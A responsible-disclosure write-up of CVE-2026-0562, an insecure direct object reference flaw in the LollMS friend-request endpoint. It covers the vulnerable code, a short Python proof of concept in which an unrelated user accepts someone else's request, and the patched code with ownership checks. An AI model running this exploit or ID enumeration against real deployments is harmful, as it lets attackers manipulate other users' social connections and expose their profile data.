I reported this on December 29th, 2025, and it was assigned CVE-2026-0562 with a CVSS score of 8.3 (HIGH). The vulnerability is a classic IDOR: any authenticated user can accept or reject another user’s friend request just by guessing a sequential integer.

LollMS (Lord of Large Language And Multimodal Systems) is an open-source AI platform built by parisneo. It includes a social features layer with friend requests, private conversations, and profile visibility. That social layer is where the bug lives.

The vulnerable endpoint

The /api/friends/requests/{friendship_id} endpoint handles friend request responses. Here’s the function as it existed before the fix:

@friends_router.put("/requests/{friendship_id}", response_model=FriendPublic)
async def respond_request(friendship_id: int, data: FriendshipAction, 
                          current_db_user: DBUser = Depends(get_current_db_user_from_token), 
                          db: Session = Depends(get_db)):
    fs = db.query(Friendship).filter(Friendship.id == friendship_id).first()
    if not fs: raise HTTPException(404, "Request not found")
    
    if data.action == 'accept':
        fs.status = FriendshipStatus.ACCEPTED
        fs.action_user_id = current_db_user.id
        db.commit()
        friend = fs.user1 if fs.user2_id == current_db_user.id else fs.user2
        return FriendPublic(id=friend.id, username=friend.username, icon=friend.icon, friendship_id=fs.id, status_with_current_user=fs.status)
    elif data.action == 'reject':
        db.delete(fs)
        db.commit()
        raise HTTPException(200, "Rejected")

The function fetches a friendship record by ID, checks if it exists, and immediately acts on it. There are no checks whether the authenticated user is part of that friendship at all. None.

Three things are missing:

  • No check that current_db_user.id is in (fs.user1_id, fs.user2_id)
  • No check that current_db_user.id is not the requester (fs.action_user_id)
  • Friendship IDs are sequential integers, so enumeration is trivial

Proof of concept

The attack is three steps: User1 sends a request to User2, User3 (the attacker) grabs the friendship_id from anywhere they can observe it, and then responds to it.

import requests

BASE_URL = "http://localhost:9642"

# Step 1: User1 sends friend request to User2
token1 = "..."  # User1's token
friend_req = requests.post(
    f"{BASE_URL}/api/friends/request",
    headers={"Authorization": f"Bearer {token1}"},
    json={"target_username": "user2"}
)
friendship_id = friend_req.json()["friendship_id"]  # e.g., 1

# Step 2: User3 (attacker) accepts the request
token3 = "..."  # User3's token — completely unrelated to this friendship
accept_response = requests.put(
    f"{BASE_URL}/api/friends/requests/{friendship_id}",
    headers={"Authorization": f"Bearer {token3}"},
    json={"action": "accept"}
)
print(accept_response.status_code)   # 200
print(accept_response.json())
# {"id":4,"username":"user2","icon":null,"friendship_id":1,"status_with_current_user":"accepted"}

User3 just accepted a friend request between two people they have no relationship with. The response even leaks User2’s profile data back to User3.

Because friendship IDs are sequential, User3 doesn’t even need to observe an existing request. They can simply iterate from 1 upward to find pending requests and reject them — effectively breaking any user’s social connections on the platform.

Impact

The practical consequences depend on what being friends actually unlocks in the deployment. At minimum:

  • Forced friendships: A third party can force two users into an accepted friendship state without either user’s consent
  • Denial of friendship: An attacker can reject any pending request, including ones the recipient would have accepted
  • Privacy exposure: The accept response returns the target user’s profile data to the attacker
  • Social engineering surface: Manipulated friendship graphs can be used to gain trust in private channels

The fix

The fix is two authorization checks added before any mutation happens:

@friends_router.put("/requests/{friendship_id}", response_model=FriendPublic)
async def respond_request(friendship_id: int, data: FriendshipAction, 
                          current_db_user: DBUser = Depends(get_current_db_user_from_token), 
                          db: Session = Depends(get_db)):
    fs = db.query(Friendship).filter(Friendship.id == friendship_id).first()
    if not fs:
        raise HTTPException(404, "Request not found")
    
    # Verify current user is part of this friendship
    if current_db_user.id not in (fs.user1_id, fs.user2_id):
        raise HTTPException(403, "You are not authorized to respond to this request")
    
    # Verify current user is the recipient, not the requester
    if fs.action_user_id == current_db_user.id:
        raise HTTPException(400, "You cannot respond to your own request")
    
    if data.action == 'accept':
        fs.status = FriendshipStatus.ACCEPTED
        fs.action_user_id = current_db_user.id
        db.commit()
        friend = fs.user1 if fs.user2_id == current_db_user.id else fs.user2
        return FriendPublic(id=friend.id, username=friend.username, icon=friend.icon, friendship_id=fs.id, status_with_current_user=fs.status)
    elif data.action == 'reject':
        db.delete(fs)
        db.commit()
        raise HTTPException(200, "Rejected")

This was patched in commit c462977 and released in version 2.2.0.

Why this pattern keeps showing up

IDOR bugs like this are easy to miss when you’re building features fast. The friendship_id looks like an internal ID — it’s not something a user would type in the UI. But any API that accepts a resource ID must answer the question: “does the caller have the right to act on this resource?”

Object-level authorization (OWASP API1:2023 - Broken Object Level Authorization) is the most common API vulnerability class for a reason. The assumption that IDs are hard to guess is not a security control.

The rule is simple: fetch the object, check ownership, then act. In that order, every time.

Disclosure timeline

  • December 29, 2025: Reported to huntr.dev with full proof of concept
  • March 29, 2026: CVE-2026-0562 assigned and published
  • March 31, 2026: NVD initial analysis completed
  • Fix: Patched in commit c462977, released in version 2.2.0

References